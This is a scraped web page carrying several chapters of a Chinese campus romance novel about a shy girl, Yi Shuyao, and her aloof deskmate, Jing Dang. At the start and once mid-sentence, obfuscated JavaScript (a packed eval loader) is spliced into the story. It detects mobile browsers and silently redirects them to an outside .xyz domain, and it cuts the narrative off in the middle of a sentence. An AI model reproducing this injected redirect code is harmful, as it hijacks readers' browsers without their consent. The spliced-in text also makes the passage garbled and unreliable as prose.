l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042249|162586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 破旧的手机忽然滴答的一声。 易书杳缓了几分钟,用密码解了锁,Q.Q的联系人那栏多了个红色的“1”。 她点开,验证信息显示:【我是郁南。】 易书杳愣了一下,郁南这是……又来找麻烦了吗? 浓睫垂落,她本就难受的心情雪上加霜。 易书杳不想加,晾了十分钟当没看见。 过了几分钟,又是滴答的一声,郁南的验证信息变成了:【荆荡让我来的,通过一下吧。】 荆荡两个字出现,她鬼使神差点了通过。 郁南:【在?】 易书杳忽然有些后悔,该不会是荆荡与郁南和好了,郁南真来找麻烦了? 不过被找麻烦她也不怕,而且,她得警告一下郁南。 顿了几秒,易书杳在对话框输入:【你以后要是再欺负林橙,我会报警。】 这句话还没发出去,郁南率先发来信息:【对不起,今天不小心弄伤你了】 易书杳:? 她皱着眉,也就真的回复了个问号。 郁南:【你装什么?不是你叫荆荡非让我跟你道歉的吗?】 信息发来还没一秒就被撤回。 郁南:【我以后不会欺负林橙了,你满意了?大小姐,还有什么要吩咐的吗?请你一并吩咐了好吧,别以后又叫荆荡让别人带话给我,你到底要怎样啊?】 易书杳盯着对话框,好一会才把所有信息结合起来。 所以,荆荡让郁南来给她道歉,还跟郁南说了林橙的事情? 卧室里的桃子味香气四散,莹润在鼻尖舒适好闻。 易书杳咽了下喉咙,感觉之前酸涩的情绪有所缓和,嘴里好像咬进一颗香草味软糖。 她不知道该怎么回复,就挑了最重要的事情来讲:【嗯,你以后不要欺负林橙,这一点,我希望你可以做到。】 郁南秒回:【1】 易书杳眨了下眼,慢半拍地关闭对话框,将手机放到地上。 卧室外的小阳台有风铃在晃,夜色染着霓虹,她低着头想,荆荡为什么要让郁南来跟她道歉啊?他今天心情一定特别好吧。 她那时候还真以为他说那话就是不打算管的意思呢,没想到居然真的让郁南以后能别欺负林橙了…… 看来荆荡这个人远不像他表现出来的那么凶呀。 易书杳傻乎乎地笑了下。不过这天晚上,她依旧没睡好。 光做梦就梦见易振秦和秦思仪吵架的场景,第二天醒来,她情绪又变得低落。 到教室的时候是七点。荆荡不在。 易书杳把书包塞进桌肚,拿了英语必修一早读。 七点三十分的时候,荆荡从前门进教室。他身边的许之淮拿着篮球,跟他有说有笑。两人一看就是刚打完篮球回来。早间茂盛的阳光从前门穿过,披在荆荡身上,有种朝气蓬勃的感觉。 易书杳刚记到reliable这个单词。reliable,adj形容词,意思是可信赖的,可依赖的。 见到荆荡回来,她放下书,主动起身让开,在他经过时,轻声说了句:“谢谢你啊。” 荆荡跨进座位坐下,像是没听见她这句话,瞥了眼她不好的脸色:“你昨晚做贼去了?” “啊?”易书杳愣了下,摇头,“没有啊。” “脸色好差,”荆荡收回视线,从桌肚里拿出来一瓶牛奶,放她桌上,“喝不完了,你帮我喝掉。” 7. 心脏空了一个拍节 7. “你这都是新的呀,没开封,留着以后自己喝。”易书杳受宠若惊地盯着那瓶新牛奶。 “少废话,”荆荡话里话外还是当初那样刻薄,“给你喝就喝。不喝就丢了。” “……”易书杳当然不想浪费粮食,就让牛奶摆在桌上。她以为刚才声音太小,荆荡没听见那句道谢,便又说:“荆荡,谢谢你跟郁南提了别欺负人的事,她昨天来加我q.q了。” “跟你道歉没?” “道了。”易书杳弯了弯眼睛。 荆荡嗯了声,没再说什么。 易书杳见他没有太想说话的欲望,也就没再说话,拿着英语必修一继续记单词。 早读很快结束,她精神不佳,课间休息趴桌上睡了会觉。 睡醒后她精神状态还是萎靡,拿手撑着下巴,费劲全力才没在课堂上睡觉。 一节物理课结束,易书杳昏昏欲睡的眼皮终于闭上,侧头跟荆荡说了句:“你要出去就拍我肩膀,敲桌子我可能听不见了。”说完,她便趴在了桌上。 以往这个时间点荆荡都要出去抽烟,易书杳以为她待会肯定会被打扰。没想到今天荆荡破天荒没有敲桌让她起来。 课间的十分钟她睡得香甜又满足,醒来后精力充沛了些,撸了把自己睡得乱糟糟的头发,好奇地问荆荡:“你刚才怎么没去抽烟?” “我烟瘾没那么重,”荆荡道,“少抽一根死不了。” 易书杳被这话逗乐,没忍住弯了下嘴角。 少女笑得眼眸弯弯,瞳孔里像是盛着灿亮的盐,波光粼粼地照耀着他。她刚睡醒的头发往上翘了两根,像小狗的耳朵。荆荡偏过头,下意识扯了下唇,喉咙仿佛被毛茸茸的狗尾巴草挠了两下,痒痒的,烟瘾莫名又犯了。 “我还以为是我睡着了,你想出去没有叫醒我。”易书杳没有发现荆荡滚了一下的喉咙,挠脸道,“我睡着的时候一般睡得会比较沉。” “想多了,”荆荡嗓音有些低,像浸泡葡萄果汁冷淡清润,“我要想出去,会把你摇醒。” 易书杳:“……”好吧,她会做好被摇醒的心理准备。 第二节课依旧是物理。 易书杳还是困倦得很,下了课继续睡。 很奇怪的是,声称会摇醒她的荆荡并没有摇醒她,反而今天一整天都没敲她桌子。 夜晚上第三节晚自习,易书杳把写好的卷子递给前桌,耐不住好奇心,随口朝荆荡问:“你今天一天都没有叫醒我出去抽烟哎,好神奇。” 荆荡语气冷傲:“我就是今天忘记带烟了。” “哦!”易书杳了然地点点头,“我还以为你戒烟了。” “戒不掉,”荆荡说实话,“成瘾了。” 易书杳第一次见他眼神乌亮,里头暗藏的情绪却很复杂。她心脏像是被电击了下,说:“我觉得你以后可以少抽点烟,你现在抽烟的次数太频繁了。对身体不好,不健康。” 荆荡睨她:“你还管上我了?” “……”易书杳小声反驳,“没有管你呀,就是跟你提个建议。我最讨厌抽烟的人了,从小就讨厌。”说完这句话,她反应过来,连忙打个补丁,“但我不讨厌你啊,你虽然抽烟,但是之前帮了我很多次,我还是很感激你的。” “哦?”荆荡偏过头,唇没忍住扯了下:“谁管你讨不讨厌我。” 易书杳瞥见他笑容,忽然觉得他这样有点可爱,唇角也弯了一下。 “笑什么?”荆荡瞥听见笑声后,扭头向她。 “没什么。”易书杳温吞地收了笑,只是眼睛还盛着点亮水。 “起来。”荆荡被她的笑容弄得喉咙发热,曲起手指敲了敲易书杳的桌子。 易书杳乖乖站起,给他让了条道路。 荆荡走出来,去了一楼,蹲在那个没人的角落抽了今天的第一根烟。 烟味是苦涩的,舌尖有点麻,他吸了口烟,吞云吐雾几分钟,然后在月色下偏头摁灭了烟。原本打算再抽一根的,手伸进烟盒没几秒,后又放下了。 易书杳不知道荆荡去干吗了,反正这人平时都神出鬼没的,也就今天乖了点。她看着时钟就要指向九点半,离放学还剩半个钟头,只知道自己很抗拒回家。 喔,或许那个地方也称不上她的家吧,只是个勉强落脚的位置。 一想到待会回家又要遇到易珍如,秦思仪和易振秦,或许又要被莫名其妙地骂,以及在卧室里也要听到不绝于耳的吵架声,易书杳的情绪就低落了下来。 她吸了下鼻子,眼睛望着空中某个点涣散,手心无缘无故地冒了冷汗。 心脏也跳动得快了,频率乱乱的,慌张又难受。 要不,能拖一点时间就拖一点吧。 陈叔这个点应该还没出发来接她。 易书杳皱起眉,纠结地给陈叔发了条信息:叔叔,我今天想留在学校上晚四,上完之后自己坐末班车回来,您不用来接我哦。 陈叔过两分钟回了条信息:【这怎么能行!你一个人我不放心、??】 易书杳拿手机偷偷回信息:【我不是一个人,我跟朋友在一块呢,您不用担心我,我之前也坐过末班车,很多学生,很安全。】 陈叔仍是不同意,她好说歹说把陈叔劝动了。 第三节晚自习下课,同学们三两结伴,说说笑笑地出了教室。前后不过几分钟,原本坐满了教室的人只剩下零散的几个。 毕竟他们才高一,几乎没什么人愿意主动上晚四。 有个挺帅的男生走到易书杳面前:“易同学,下雨了,我没带伞,你能借我一把吗?” 易书杳不好意思地摇头,实话实说:“不好意思呀,我只带了一把伞,待会自己要撑的。你看看其他同学有没有多的伞哦。” “哎,好。”男生点了点头,走了。 易书杳有点内耗,心想自己以后多带一把伞来教室吧,如果以后有女生没带伞的话,可以问她借。 “哎,你怎么还不走?”许之淮右肩挎着书包,在座位上等荆荡,见易书杳还没走,疑惑地问了句。 “司机有点事,晚点来接我。”易书杳随便乱说。 “哦,这样。”许之淮点点头,走出教室,倚在走廊等荆荡。 等了两分钟,荆荡回了。 “靠,书包忘记给你拿了,”许之淮一脸兴奋地说,“他们还在等我们一块飙车,好不容易攒了这么个局,别浪费时间。” “嗯,知道。”荆荡情绪一向淡淡的,进了教室拿书包。 亮如白昼的室内,还剩了两个人在。一个是年级第二考进来,正在写试卷的男生,另外一个是易书杳。 小姑娘偏瘦的身形很薄,低垂着头,明显一脸心事,看着有些可怜。 荆荡脚步顿了下,走到座位前,抬眉问:“留这干吗?” “没……”易书杳沉浸在自己世界里,被男生低沉清晰的嗓音打乱节奏,过了两秒才回神,“待会就回去。” 荆荡:“早点回去,别明天又困得跟贼一样。” “知道啦,”易书杳听出他语气里的欠揍成分,仰头道,“我待会就回去了,接我的司机还没来。” 荆荡嗯了声,没再说什么,转身出了教室。 易书杳盯着他离开的背影,慢吞吞眨了眨眼睛……不知道为什么,这一刻,她有些想他能够留下来。 几乎是莫名的,reliable这个单词浮现在脑海。 易书杳默念了一遍,夜晚的风冰凉似水,吹在脸上寒津津的。她抿了抿唇角,忽然察觉到自己的想法。 不是……她在想什么? 居然想荆荡能够留下来。 他留下来干吗? 留下来又在她耳边说冷拽欠揍的话吗? 可是……就算如此,易书杳好像还是……希望他能够坐在她身边。 好奇怪的想法呀。 易书杳咬了咬嘴唇上的软肉,努力将思绪剔除干净,把那个乱七八糟的想法打包扔了出去。 脑袋似乎清净了下来,她低头拿出试卷,水性笔在纸上默写古诗词。 是《涉江采芙蓉》的第二句。 采之欲遗谁,所思在远道。 易书杳写完最后一个“道”字,准备看下一首古诗词,门口多了一道身影,脚步声入耳。 沉稳有力,又很随意。 她呼吸短暂地停了下,心脏空了一个拍节,抬头看去。 果然,荆荡穿过讲台,朝她走了过来。 易书杳攥住笔,恰巧对上他的视线,就这么问出口:“……你怎么回来了?” “还能为什么?”荆荡走到她座位前,睫低低地晒下。 有那么几秒钟,易书杳是希望他是为她回来的。 这个刚才被她驱逐的可恶想法,又因着荆荡的出现,再次席卷了她心脏。 至此,易书杳不得不承认。 她好像真的,是希望荆荡能坐在她旁边陪着的。哪怕他这个人是所有人都觉得恶劣的少年。 可是自己好像并没有想象中的那么排斥他,反而,是接纳他和有点欢迎他的。 这太糟糕了。 易书杳握紧了手心,不敢相信,却也只能相信。 荆荡当然不知道易书杳此时激烈的心跳频率,他俯身拎了书包出来,间隙中闻见她身上的软桃香气,丝丝入鼻。 他滚了滚喉结,气息微热:“忘记拿书包了。” “喔。”易书杳没有察觉到自己语气中的失落感。 “你怎么还没回去?”荆荡单肩跨着书包,薄唇动了动。 “司机……”易书杳顿了顿,声音渐低,“还没来。” 荆荡似是看出什么,低头问她:“真假?” 易书杳将尾指攥得泛白,但又实在觉得她和他关系没有好到这份上,在他眼里,她估计只是一个比陌生人要好一些的普通同学。 可是他帮了她好几次哎,而且这些天她能或多或少地感受到他对她其实要好一些了。或许,在他那里,她能勉强算是一个比普通同学还要好一些的……朋友? 对,他应该是把她当朋友吧。 但是,充其量也只是朋友而已。 哪怕她现在私心想说是假的,纠结过后还是没有说。毕竟,他这次回来只是拿书包,都不是因为她才回来的。她哪有资格跟他讲真话呢。 于是,易书杳捏紧手指,假装笑地弯唇:“当然是真的,骗你干什么?” 荆荡耐心一向欠佳,闻言也没再多问,拎了书包就走了。 易书杳望着他再次离开的身影走出教室,消失不见,就好像刚才没来过一样。 她有一瞬间的失神,水性笔被攥得笔尖戳了下食指,刺痛感“叮”地一下袭来,她眨巴两下眼睛,继续写起语文试卷。 可是这次却没有心思在试卷上了。 易书杳忽然很后悔。 刚才,她如果跟他说是假的,他会怎么样呢? 会继续刨根问底地问,还是只是随口一问,就算她的答案是什么,他都不在意?又或者是,他知道她为什么不肯回家后,会安慰她吗? 天呐。 想到这里,易书杳耳朵红了一下。 不,不会的。 荆荡根本不可能安慰她,也不可能在意她。他只是随口一问,今晚,他也肯定不会再出现了。 别胡乱想了,你在做梦吗? 易书杳唾弃地锤了下自己的额头,闭上眼睛,嘴里无声地默念:易书杳,你无缘无故在想什么呢?!收收心,写试卷行吗! 默念完,她睁开眼,拿起笔就要低头写试卷。 但她不知道的是,教室外的窗边,一直站着道高大挺拔的身影。 走廊的风冷,荆荡单手插兜,自己也不知道为什么就站在这儿看着易书杳了。自从遇上她后,他就干了好几件莫名其妙的事。 荆荡也不知道为什么。也许,是她太需要被保护了吧,他忍不住去保护她,想让她少受点欺负,毕竟,她是一个连自己都保护不了,却还是想着要保护别人的笨蛋。 世界上哪有这么蠢的人? 可易书杳偏偏就是这种人,明明身娇体弱,在被男生欺负时,还是会勇敢地拿起刀试图一搏,她好像有种执拗的不服输感。 而荆荡看见她哭,也会变得很烦躁。 那种感觉很莫名,却也是实实在在地困扰着他。 所以,前两天他看见她为了保护别的女孩跟郁南对峙,他忍不住去帮她。今晚他看到她落寞地坐在教室,一个人孤单地写试卷,他也忍不住借着拿书包的理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042250|162586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 返回。 哪怕听到她说只是没有司机来接,他也还是没放下心。 于是,一直站在窗外的荆荡看见易书杳锤额头,走进了教室,到她旁边,甚觉荒唐地拉了一下唇角:“易书杳,你刚才在稀奇古怪地搞什么?”他轻哼笑了声,尾音稀稀拉拉地拖长,“写卷子还闭眼睛,怎么,求神啊?” 易书杳的杏眼不大,水灵灵的圆润。在听到荆荡的声音后,那双眼睛比平时睁大了不少,脱口而出:“你……还回教室是干吗?” 荆荡敲下她桌子:“你起来,我过一下。” 易书杳懵懂站起来,给他让个位置。 荆荡挎着书包走过,懒洋洋地坐下,从桌子里掏出张卷子:“没什么,就想把没写完的卷子写完。” “……哦。”易书杳大脑运转得缓慢,好不容易接受了荆荡回来是要写卷子这个事实,真心问道,“你什么时候变得这么刻苦了?” “怎么,偶尔刻苦一次也不行?”荆荡唇角挑衅地扬起,“我还没说你,你写试卷闭眼睛,求到神了么?” “神吗?”易书杳望了眼真的回来的荆荡,心脏变得暖洋洋的,慢半拍地笑了下,“好像求到了啊。” 荆荡没听清易书杳这句话,问:“什么?” “没什么,”易书杳弯弯唇角,打了个马虎眼道,“我是说你学习这么刻苦,这次月考一定会考好。” 荆荡看出她的敷衍,莫名有些不爽,冷淡轻狂扯了个笑:“这还用你说?” 易书杳不知道又哪里惹到这个少爷,撇了一下嘴,拿起笔写没写完的英文试卷,有点小不高兴了。 要放以前,她是不敢跟荆荡有情绪的。但或许是这些天她跟他熟了些,然后他今晚又回来,让她有种自己跟他的关系变好的错觉? 或许并没有吧。 他今晚也不是为她回来的呀,只是写卷子而已。 易书杳没有脸大到觉得荆荡是为了她回来,这怎么可能? 如果真可能的话,那他干吗现在又一副高高在上的冷态度?所以,他回来跟她没有半分钱关系,她也用不着开心呀。 想到这,易书杳的嘴角垂落下去,右手用力握住笔尖,写的字几乎要划破脆弱的纸张。 时间一分一秒地流逝,两人没再说过话。 教室静悄悄的,呼吸声都叫人溺毙。 荆荡写完物理的最后一道题,余光横了眼易书杳。 她专注地写着题,手上挂的那根链条在灯下闪闪发光。她特珍视那手链,他就没见她摘下过。 荆荡睨向她神情。 女生薄粉色的嘴唇轻抿,脸也绷着,看起来有点不太开心的模样。 她在不爽什么?该不爽的人应该是他吧。 荆荡侧过头,没再看她一眼。 十分钟过去,易书杳写完英文题,肚子咕噜轻轻叫了声。 幸而声音不大,被她用咳嗽带过。 好饿,吃点什么填下肚子吧。 抽屉好像还有一个她最爱吃的菠萝味口袋面包吧? 易书杳伸手去拿,翻出来一看只剩下一个空袋子。 喔,中午的时候吃掉了,袋子忘记扔。 易书杳拿着这个印着美味菠萝的浅黄色袋子,舔了下唇角。 接下来的时间,饿感像一只手,肆意地抓着她的胃。 可惜,没有什么能够填一填肚子的食物了。 除非现在,她去小卖部买。可是现在是上课时间,商店也没开门。而且外面还下了雨,谁会这个点去商店买。 抽屉里还有没有其他被她遗忘的吃的呀? 易书杳憧憬地弯下腰,在抽屉无声捣腾了会,没翻到任何吃的,手里还是只有那个可恶的空袋子。 简直是绝望,饿到完全写不下去题。 她苦着脸,揉了下肚子。 耳边倏然传来荆荡敲桌的声音:“起来。” 易书杳利索地站起,下意识地说了句“在上课,你要出去吗”,说完才想起她还在有点生他的气,遂站到一边,扭过头,假装自己没说话。 荆荡亦没看她,仰着头看外边的雨:“不然?在这继续待着听你翻一节课抽屉?” 易书杳浅浅吸了一口气,有点不好意思地解释:“吵到你了吗?应该没有声音的呀,我尽量控制音量了。” 荆荡没回这句话,哂眉问:“有伞么?” 易书杳看他这架势是要回家,她只带了一把伞,要是给他自己就得淋雨回去了。可是如果不给他伞,他就得淋雨回去。没怎么思考,她顺应心意,将挂在桌角的那把透明伞给他:“给,拿着。” 荆荡接过,走出教室,下了楼,白色的柄撑开伞,上面贴了一张日系少女的贴画。 穿着校服的女高中生长发飘飘,眼眸带笑,是戈薇。 荆荡想到易书杳给伞幼稚地贴画的场景,唇角不受控地轻勾了下。 * 易书杳忍着饿意,抬头看时钟,还有三十七分钟下课。 她做惯了乖乖好学生,不敢中途离开教室,便只能忍到下课了。 雨势渐大,打在教室的玻璃窗上啪嗒作响。 她等下要坐公交回家,今天校服里面穿了卫衣,戴上帽子不至于被淋得很惨吧? 嗯,应该不会。 易书杳乐观地揉了下脸,往窗边看向瓢泼的雨势。 这雨下得也太大了。 哎—— 她低头,一个黑色的潮牌书包还挂在荆荡座位右侧的挂钩。 他不是回家吗?书包也不带? 刚刚他第一次折返不就是为了拿书包吗? 易书杳抬手捏了下书包,想再确认一下是不是他的。 确认过后她松开手,轻声叹道:“还真是他的,没见过这么笨的。” 忽地。 一大袋菠萝味口袋面包被甩在桌上,学校商店特供的蓝色塑料袋在冷白里熠熠发光。 易书杳呼吸错乱了下,偏头看去。 荆荡杵在她桌前,一双眼压迫又锋利漂亮,像是能把她吸进去沉溺。 少年的灰色帽子还没摘,漆黑的头发凌乱地扫在浓眉间。他五官锐厉,外边的雨太大,就算撑了伞,雨水也还是沾湿了眼尾和鼻翼,轻挑了下眉梢:“易书杳,你骂谁?” 8、风雨飘摇两颗真心 8. 易书杳的心脏像感染了春天的气息,开了一朵纷乱的小花。随后,呼吸交换的频率大了几寸,她好像都听到了心跳怦怦怦的声音。 哇塞,原来当场被人抓住讲坏话,心脏会跳动得这么快。 “不是你,”易书杳慌忙否认,“总是不是你,具体是谁你就别管了,知道太多对你没好处。” 荆荡摘了帽子,抖落掉黏在衣服上的水珠,伸手把一塑料袋的菠萝味面包放进她怀里:“起来,让我过一下,然后——”他说,“以后上自习课别总是翻桌子,很吵。” “喔,知道了。”易书杳站起来让他过去。但她明确地知道,她特意放轻了声音,几乎是静音,没有很吵的。 荆荡把收好的伞挂她桌沿,见她没拿面包吃,蹙眉道:“吃啊,留着过年再吃?” “喔,”易书杳还没从震惊的状态里恢复过来,有点人机地点点头,拿出一个菠萝味的口袋面包,轻轻撕开包装,咬了一口。 菠萝的口感馥郁,咬在嘴里有种让人幸福的感觉。她边吃边看了眼旁边的人,嘴巴鼓起来像只奶栗色的小仓鼠。 荆荡跟她对视了一眼,没忍住偏头笑了下。 “笑什么?”易书杳知道他在笑她,但不知道他具体在笑什么,懵懂地横了一眼他。 “哪笑了?”荆荡把脑袋转回,挑下巴道,“吃你的。” “你就是笑了啊,也不知道你莫名其妙在笑什么,”易书杳说,“刚才的脾气也发得莫名其妙的。” “哪发脾气了?”荆荡挑眉,“刚不是你跟我横?” “是你先阴阳怪气的好吧?别倒打一耙。”易书杳凶狠地咬了口面包。 荆荡想到自己不爽的来由,是易书杳在敷衍他。他不喜欢被人敷衍的感觉,但其实之前谁对他怎么样,他都无感。不过也不知道为什么,这次易书杳对他敷衍,他很在意。 自从遇上这个小姑娘后,他情绪的波动好像总是很大。 这种话让荆大少爷开不了口,索性没再说话。 易书杳却被这一袋子面包哄得很开心了,笑眯眯地小声说:“所以这些面包,是你拿来跟我道歉的吗?” “什么道歉不道歉,我用得着跟你道歉?”荆荡从出生到现在就没低过头,淡道,“没有的事。” 易书杳笑容眨眼就消失不见,哦了一声:“那你干吗冒雨给我买菠萝面包?”他竟然不是在跟她道歉吗?那他为什么要好端端地给她买这个? 荆荡:“我有病。” “哦,”易书杳实诚道,“那我希望你天天犯病。” 荆荡被这句话戳中笑点,道:“什么?” “没什么。”易书杳被他的笑弄得有些不好意思,低头咬了口面包。 荆荡瞥了眼憋笑的她,无声地扬了下唇,不记得是今天第几次控制不住笑意。意识到自己又在笑后,他顿了顿,食指曲起轻敲了下桌子:“给你买这个没别的意思,就因为你上课翻抽屉吵到我了,懂么?” “我翻抽屉动静真的很小呀,没什么声音的,”易书杳明白了荆荡给她买菠萝面包的原因,吃完一个面包还是饿,又小心翼翼撕开第二个面包,看在菠萝面包的份上,她很好说话地弯唇,“行,我知道了,以后不会翻了。” 荆荡嗯了声,拿笔开始写试卷。 易书杳吃完面包,所有试卷都写完了,便开始预习起明天数学课要上的函数。 窗外蝉鸣清脆,月光柔和。 诺大的教室仿佛只有她跟他。 时间像是被青春的宝盒拉慢,易书杳预习完函数,离下课还有两分钟。 她合上数学必修一,不经意扫了眼旁边的荆荡。 他还在写试卷,乌黑的头发蓬松,睫毛非常密,浓浓的像鸦羽,冷峻的面容在安静状态下添上几分平易近人,不像平时那样高高在上。 如果……和他成为朋友的话,好像还挺不错的。只要,他能收收攻击性就行了。 不过这不太可能吧。 他或许,应该……对她是有点意见的吧。 毕竟他上自习课都能被饿了翻抽屉的她吵到。 但她倒是挺想和他成为朋友的。 易书杳想见见跟朋友平和相处的荆荡,也想窥见这个不可一世的男生,温柔起来会是什么样子。 想想都觉得不可思议。 “叮”的一声,下课铃声响起,晚四结束。窗外的雨还没停。 易书杳收拾书包,想起荆荡没带伞。她想问问他要不要和自己共撑一把伞到校门口……校门口应该有车来接他回家吧。 只是易书杳不确定荆荡会不会想要和她共撑一把伞。按他的性格,说她多管闲事也不是没可能。 那她到底要不要开这个口呢,他会不会嫌她烦? 易书杳踌躇着走到教室门口,耳边忽然传来一道甜美的女声:“同学,荆荡在不在?” 她抬起头,看见一个有点眼熟的漂亮女生一边收伞,一边往教室里探头,见到荆荡后朝他挥手:“你不是没带伞吗?走吧,我跟你一块撑伞去校门口。” “宋栀宜?”荆荡单肩背着书包走出教室。 “走吧,”宋栀宜抖抖伞上的水,露出笑容,“撑我的伞。” 易书杳握紧手里透明的伞,想起了为什么会觉得这个女生眼熟。她是宋栀宜呀,艺术部公认的校花,家境很好,跳舞拿过省里的第一名,还上过报纸呢。 “不了,我跟她一块。”荆荡对易书杳扬扬下巴。 宋栀宜没想过荆荡会拒绝她,尴尬道:“她只有一把伞啊。” “你不是也只有一把?”荆荡觉得莫名。 “好吧,”宋栀宜挠了挠头发,“那下次下雨,我多带一把伞来找你。” “不用,”荆荡说,“我以后会自己带。” “……”宋栀宜很快走了。 易书杳看着她离开的背影,没忍住问荆荡:“你跟她有仇吗?” “跟你有仇。”荆荡语气携漫散的笑意,拿过易书杳的伞,悠哉游哉地下了楼。 “我跟你才有仇呢,谁要跟你一块撑伞啊。”易书杳怨气地跟在他身后,看着那人宽阔高大的背影,又有些想笑。她确切地知道。如果他跟宋栀宜一块撑伞了,她会不开心的吧。可他要跟她一块撑伞,她又忍不住嘴欠地矜持几句。 真的是奇怪得很啊,少女时期难解的脑回路! 两人一块下了楼,荆荡在廊檐下撑了伞,外边的雨很大,不要命似的往下砸。这把伞小,两个人撑的话肯定不够。于是他便将伞往她那边倾斜很多,雨中两人心思各异,都未开口说话。 直到走到校门口,易书杳才发觉她的肩膀没有淋湿一点,再往右边看,荆荡挺拔的身影笼罩着她,雨水在他肩侧聚拢,校服短袖几乎可以拧出几股水。 而头顶的那把伞,早已不知道往她这里倾斜了多少。 “你干吗呀,”易书杳抬手拿住伞柄,往他那边倾斜,“等下感冒了。” “哪那么容易感冒,”荆荡手劲大,用了一点就把伞柄往她那边回推,“闹什么。” 易书杳知道拗不过他,连忙问:“来接你的车呢?先送你上车吧。” “先送你。”荆荡言简意赅。 易书杳:“……”她哪有来接的车呀。 “先送你吧,”她固执地看了一圈,“你家的车在哪?” 荆荡出门就见到了家里那辆来接他的cayenne,司机小刘还朝他挥手。 他当作没看见,说:“不知道,可能没来。” 易书杳啊了声:“那你怎么回去。” “我怎么知道?”荆荡蹙眉道,“你别管我,先送你回去。” “哦。”易书杳只好装作环视一圈,试图在寻找。 司机小刘急了,以为自家少爷没看见他,干脆撑伞下车来找他:“你刚才没看见我吗?” 易书杳望着眼前这个人,又往了眼他后边的豪车,扭头想问荆荡什么,还没开口,就听见荆荡对那人说:“我们认识?” “……”司机小刘:“不认识吗?” “你认错人了。”荆荡撑着伞带易书杳往前走了一步,低头对她说,“你家里的车呢?还没来?” “……”易书杳骑虎难下,只好轻声道:“或许,可能,大概,今天忘记来接我了吧。” 荆荡想起她今天整个白天到晚上的异常,没再问什么,带着她往cayenne走。走到车前,他替她拉开车门:“进去。” 易书杳和司机小刘对视,眼睛瞪大一点问荆荡:“你刚才不是说认错人了吗?” “认错了就将错就错呗,”荆荡手指点点她肩膀,“坐。” 易书杳坐了进去,跟司机小刘打招呼:“您好。” “哎,好。”小刘不可思议地看着眼前这个乖妹,又瞥了眼还在外头收伞的荆荡。 靠……这混球什么时候替别人撑过伞啊,这人就没低过头。 “你跟我们阿荡认识啊?”趁着荆荡还没来,小刘问。 “认识吧,”易书杳问,“你是来接他的吗?那他为什么刚才说你们不认识啊?” 荆荡收了伞,长腿迈进后座:“刚才我眼瞎,没看清。” 小刘没忍住笑出声。 易书杳不知道司机在笑什么,求助性地望了眼荆荡:“啊?” “别管他,”荆荡抽出几张纸巾给易书杳,“你家地址报一下。” 易书杳接过纸巾:“宋津南路29号。”她擦了擦脸,纸巾一点都没湿。 车子启动,往宋津南路开去。 道路两侧的昏黄光线落在车内,伴随着市中心高楼大厦的霓虹光电。易书杳下意识望向荆荡,他额头上都是水,雨水顺着头发滴在薄锐乌黑的眉骨,鼻尖右侧的那颗淡色小痣混着雨水明显而独特。 她没关心那颗漂亮的小痣,连忙把手上的纸巾递给他:“荆荡,你擦下脸。” 荆荡接过去纸巾,随手抹了下脸。 “等等,这张我擦过脸了,”易书杳后知后觉地想起来,扯了几张新纸巾给他,耳朵有点冒红了,低声道,“给。” “我都擦完了,”荆荡拿着那只她用过的纸,有些不好意思的暴躁地看向她,“你怎么不早说?” 易书杳面皮薄,心脏在此时也不知道为什么跳得劈里啪啦的,很不好意思地看向他:“那我忘了呀,我刚刚看你脸上都是水,就很着急地把纸给你了,怕你感冒了。” 女孩子眼睛亮亮的,语气像糯米糍一样的软,荆荡冷着脸哦了声,接过那些新纸巾,重新擦了下脸。只是擦着擦着,耳朵被擦得有点烫了。 荆荡低低地操了声,伸手打开车窗,有冷风灌进来,耳朵才没再继续烫了。【你现在阅读的是 】 9、我们现在是朋友了 9. 下雨夜晚的冷风有点冰,易书杳被吹得手脚冰冷,不过这不是她的车,她不好意思开口说冷,便搓了搓手,把手放进了口袋。 荆荡是在一分钟后看到易书杳冰白的脸色才知道她冷的。 “冷不知道说?”他蹙眉关了车窗。 “我看你好像很热,就没说,”易书杳被冻得有些难受了,习惯性地优先别人,还给开窗编了个理由,“没事,你开窗吧,空气流动一下也好。” “少在我这装和善,不需要。”荆荡没开窗,伸手拍了下小刘的肩膀,“空调温度打高点。” 小刘:“好的。” 几分钟后,车厢温度升高,易书杳的不舒服被缓解,她浑身变热,尤其心脏很暖和。 在妈妈和外婆去世后,易书杳第一次感到安逸和舒适,不知不觉便闭眼睡了过去,就连手链意外脱落在车上都没发现。 再次醒来是因为荆荡。 她迷迷糊糊地睁开眼,看见他收了拍她肩膀的手,睨了眼几米开外的独栋别墅,问:“你家?” 易书杳顺着他视线看去,那栋毫无温度的别墅矗立在眼前,似张牙舞爪的野兽。 她沉闷地点了点头。如果可以的话,她真不想回家。 可惜荆荡心思没那么细腻,压根没看出她的烦恼,很快拉开了车门:“那你走吧。” 易书杳抿了抿唇,说了个好字,背上书包,撑开伞下了车。冷冷的风拍在脸上,将她头发吹得飘摇。 荆荡看着她进去,嘱咐小刘走。 小刘试探性地问:“回哪?家里吗?” 荆荡:“柏宁公馆。” “还是回家吧,老太太说想你了。” “如果她想让我回家,知道怎么做。” 小刘叹了口气:“你明明知道那是不可能的,荆家不是普通人家,结婚或者离婚都不能由自己做主,利益牵扯其中,老太太不可能妥协。” “不可能么?”荆荡慢慢地扯了个笑,“我偏要把它变成可能。” 小刘知道荆荡脾气大,向来是吃软不吃硬,便没再说话,发动汽车驶出一段距离。 荆荡开了车窗,忽然瞥到车座上躺着一串银色的手链。一堆星星月亮缠在上头。他认出这是易书杳落下的。 荆荡捞起手链,敲敲车窗:“停一下,她手链落这了。” 小刘没多想:“明天再还她吧?” 荆荡想起她有多宝贝这手链,仍是重复道:“停车。” 这边易书杳撑伞下了车,帆布鞋踩在湿漉漉的地面,溅起很小的水花,一如她乱糟糟的情绪。 